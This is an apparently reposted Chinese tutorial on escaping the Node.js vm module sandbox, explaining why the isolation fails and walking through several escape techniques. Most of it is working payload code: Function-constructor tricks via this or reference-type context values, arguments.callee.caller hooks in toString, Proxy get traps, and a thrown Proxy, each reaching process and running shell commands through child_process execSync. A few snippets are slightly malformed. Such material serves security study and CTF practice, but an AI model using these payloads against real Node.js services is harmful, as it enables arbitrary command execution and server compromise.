Nodejs沙箱绕过

目录

JavaScript和Nodejs介绍

沙箱(sandbox)

简单的介绍一下vm模块

下面介绍几种绕过方式

方法1:利用Function构造函数沙箱逃逸,执行命令

 方法2:利用argument.callee.caller实现

方法3:利用ES6的 proxy 模式来劫持外部get操作

三种特殊情况:

情况一:沙箱外如果执行了比如连接字符串等操作

情况二:如果沙箱外没有执行字符串相关操作

情况三:如果沙箱的返回值没有做任何事,或者没有捕捉返回值


沙箱逃逸的前提是:我们可以从沙箱内部通过属性或者方法或者其他方式访问到沙箱外部

JavaScript和Nodejs介绍

JavaScript用在浏览器前端,后来将Chrome中的v8引擎单独拿出来为JavaScript单独开发了一个运行环境,因此JavaScript也可以作为一门后端语言,写在后端(服务端)的JavaScript就叫叫做Nodejs。

沙箱(sandbox)

当我们运行一些可能会产生危害的程序,我们不能直接在主机的真实环境上进行测试,所以可以通过单独开辟一个运行代码的环境,它与主机相互隔离,但使用主机的硬件资源,我们将有危害的代码在沙箱中运行只会对沙箱内部产生一些影响,而不会影响到主机上的功能,沙箱的工作机制主要是依靠重定向,将恶意代码的执行目标重定向到沙箱内部。

简单的介绍一下vm模块

vm模块是node.js内置的一个模块,理论上不能叫做沙箱,它只是Node.js提供给使用者的一个隔离环境

使用方法很简单,我们执行m+n这个表达式:

const vm = require('vm') //这是一个沙箱环境
const script = `m+n` //这里就是要在沙箱中执行的脚本
const sandbox = { m: 1, n: 2 } //这里是具体执行的值
const context = new vm.createContext(sandbox) //创建一个沙箱环境上下文
const res = vm.runInContext(script, sandbox) //这里将脚本和执行的值在沙箱环境上下文中运行
console.log(res); //打印值

我们可以在文件的目录下执行node vm.js来运行代码 

 

可以看到,我们成功的在沙箱中执行了脚本,并且返回了执行的结果

但是这个环境是很容易绕过的,这个环境中上下文有三个对象:

this指向传给vm.createContext的那个对象

m等于数字1

n等于数字2

我们可以使用外部传入的对象,比如this来引入当前上下文里面没有的模块,进而绕过这个隔离环境,比如:

this.toString.constructor('return process')()
const process = this.toString.constructor('return process')() 
process.mainModule.require('child_process').execSync('whoami').toString()

第一行this.toString获取到一个函数对象,this.toString.constructor获取到函数对象的构造器,构造器中可以传入字符串类型的代码,然后在执行,即可获得process对象。

第二行,利用前面获取的process对象既可以干任何事。

那么问题就来了!

1、为什么不直接使用{}.toString.constructor('return process')(),却要使用this呢?

这两个的一个重要区别就是,{}是在沙盒内的一个对象,而this是在沙盒外的对象(注入进来的)。沙盒内的对象即使使用这个方法,也获取不到process,因为它本身就没有process。

2、m和n也是沙盒外的对象,为什么不用m.toString.constructor('return process')()呢?

因为primitive types,数字、字符串、布尔等这些都是primitive types,他们的传递其实传递的是值而不是引用,所以在沙盒内虽然你也是使用的m,但是这个m和外部那个m已经不是一个m了,所以也是无法利用的

所以,如果修改下context:{m: [], n: {}, x: /regexp/},这样m、n、x就都可以利用了。

那么我们就可以总结一下沙箱绕过的核心原理:

只要在沙箱内部,找到一个沙箱外部的对象,借助这个对象内的属性即可获得沙箱外的函数,进而绕过沙箱。

下面介绍几种绕过方式

方法1:利用Function构造函数沙箱逃逸,执行命令

利用引用类型:

const vm = require('vm') //这是一个沙箱环境
const script = `
const process = x.toString.constructor('return process') ()
process.mainModule.require('child_process').execSync('ipconfig').toString()
const sandbox = { m: [], n: {}, x: /regexp/ } //
` 
const context = new vm.createContext(sandbox) //创建一个沙箱环境上下文
const res = vm.runInContext(script, sandbox) //这里将脚本和执行的值在沙箱环境上下文中运行
console.log(res); //打印值

上面通过新建了一个 process,将通过x.tostring.constructor拿到的process模块,这时的sandbox中的数值是任意的引用类型

然后通过拿到的process.mainMoudule.require方法,拿到c'child_process'子模块,然后通过exec.Sync方法执行我们的命令

Nodejs沙箱绕过_第1张图片 

这样就成功的利用了沙箱逃逸实现了任意命令执行,虽然出现了乱码,但是不影响我们的命令执行

利用this: 

const vm = require('vm') //这是一个沙箱环境
const script = `
const process = this.constructor('return process') ()
process.mainModule.require('child_process').execSync('dir').toString()
` //这样我们就拿到了Function构造函数了,拿到了process模块,调用process子模块,然后通过调用process的方法来实现任意命令执行
const sandbox = { m:1, n:2 } //
const context = new vm.createContext(sandbox) //创建一个沙箱环境上下文
const res = vm.runInContext(script, sandbox) //这里将脚本和执行的值在沙箱环境上下文中运行
console.log(res); //打印值

这里与利用引用类型不同的是通过 this方法来实现的,将x换位了this,那么这时,sandbox中的值就不要求是一些类型的引用,可以是任意的数值了

Nodejs沙箱绕过_第2张图片

可以看到也成功的实现了

 方法2:利用argument.callee.caller实现

现在如果有一个这样的一个框架如下所示:

const vm = require('vm'); 
 
const script = `...`; 
 
const sandbox = Object.create(null); 
 
const context = new vm.createContext(sandbox); 
 
const res = vm.runInContext(script, context); 
 
console.log('Hello ' + res) 

在 JavaScript 中,this 关键字的值取决于函数的执行上下文。

在全局作用域中,this 通常指向全局对象(如浏览器环境中的 window 对象,Node.js 环境中的 global 对象)。但是,在使用 Object.create(null) 创建的对象上下文中,this 将为 null。

const sandbox = Object.create(null);

Object.create(null) 是一个创建一个新对象的方法,该对象没有继承自任何原型链。

在 JavaScript 中,Object.create(null) 会创建一个纯净的对象,它没有继承自 Object.prototype 或任何其他原型对象,因此不会拥有默认的原型方法和属性。这样的对象通常被称为“空对象”或“纯净对象”。

在这个纯净对象 sandbox 上下文中,由于没有原型链,它的 this 值将为 null。

也就是说,如果在 sandbox 对象的上下文中使用 this 关键字,它将是 null。

这时,上面使用this和引用类型的来访问外部模块的方法就没有办法生效了,那么我们就可以通过callee和caller来进行实现

我们先介绍一下callee和caller这两个属性:

  •  callee 和 caller  都是已经被废弃的属性
  •  callee,会指向调用函数本身
  •  caller,会指向谁调用你的函数

具体实现:

const vm = require('vm');
const script = `(()=> {
    const a= {}
    a.toString = function () {
        const cc= arguments.callee.caller
        const p =(cc.constructor('return process'))()
        return p.mainModule.require('child_process').execSync('whoami').toString()
​
    }
    return a
})()
`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('hello' + res); //js中某一个东西和字符串拼接,最终的结果是一个字符串

Nodejs沙箱绕过_第3张图片 

首先我们可以看到sandbox沙箱环境是使用Object.create(null)这样的一种环境,前面我们已经了解到使用Object.create(null)的对象的的原型链是null,即不能使用this指向,也没有任何方式方法,这里相当于修复了上一种方法的逃逸,

然后我们就使用了在打印的时候使用字符串 拼接 沙箱中执行的代码后最种结果是一个字符串这样一个特性,然后这样上面的a.toString 方法就可以使用外部的toString方法,利用toSting.constrrcyor会返回Function的性质,拿到了Function 函数,然后就是和方法1一样的调用process,成功的逃出nodejs沙箱,实现了任意命令执行

方法3:利用ES6的 proxy 模式来劫持外部get操作

Proxy可理解为:在目标对象前架设一层“拦截”,外界对该对象的访问,都必须先通过这层拦截,相当于对外界的访问进行过滤和改写。

例如:拦截读取属性行为:

var proxy = new Proxy(){
    get:function(target,proKey){
        return 35;
    }
}
proxy.time  // 35
proxy.name  // 35
proxy.title // 35

上面方法2的前提是打印时,需要与一个字符串拼接的行为,那么如果没有了这个字符串拼接应该怎么逃逸呢

那么我们就可以使用代理来实现nodejs沙箱逃逸,实现命令执行:

const vm = require('vm');
const script = `(() => {
    const a = new Proxy({},{
        get:function(){
        const cc = arguments.callee.caller;
        const p = (cc.constructor.constructor('return process'))();
        return p.mainModule.require('child_process').execSync('whoami').toString()
        }
     })
return a })()`;
// // 定义代理模式,将代理模式定义为空对象,这个空对象有get方法
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res.xxx);

Nodejs沙箱绕过_第4张图片

三种特殊情况:

情况一:沙箱外如果执行了比如连接字符串等操作

const vm = require('vm');
const script = `
(() => {
    const a = {}
    a.toString = function () {
        const cc = arguments.callee.caller;
        const p = (cc.constructor.constructor('return process'))();
        return p.mainModule.require('child_process').execSync('whoami').toString()
    }
    return a
})()
`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('hello ' + res); 

Nodejs沙箱绕过_第5张图片 

toString就是定义的恶意函数,里面拿到了caller,再通过caller的constructor来获取process,最后执行命令。

沙箱外如果执行了比如连接字符串等操作,就会执行这个toString函数,进而触发命令执行。

情况二:如果沙箱外没有执行字符串相关操作

我们可以使用Proxy来劫持所有属性,只要沙箱外获取了属性,我们仍然可以用来执行恶意代码:

const vm = require('vm');
const script = `
(() => {  
const a = new Proxy({}, { 
get: function() {      
const cc = arguments.callee.caller;      
const p = (cc.constructor.constructor('return process'))();     
 return p.mainModule.require('child_process').execSync('whoami').toString()
}  
})    
return a })()
`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('hello ' + res);

Nodejs沙箱绕过_第6张图片 

情况三:如果沙箱的返回值没有做任何事,或者没有捕捉返回值

我们可以借助异常,把我们沙箱内的对象抛出去,如果外部有捕捉异常的(如日志)逻辑,则也可能触发漏洞:

const vm = require('vm');
const script = `throw new Proxy({}, { 
    get: function() { 
     const cc = arguments.callee.caller; 
    const p = (cc.constructor.constructor('return process'))(); 
    return p.mainModule.require('child_process').execSync('whoami').toString() 
    }  
    }) `;
try { vm.runInContext(script, vm.createContext(Object.create(null))); }
catch (e) { console.log('error happend: ' + e); }

Nodejs沙箱绕过_第7张图片

你可能感兴趣的:(安全,前端,JavaScript,javascript,网络安全,前端,web安全,安全,vm,沙箱)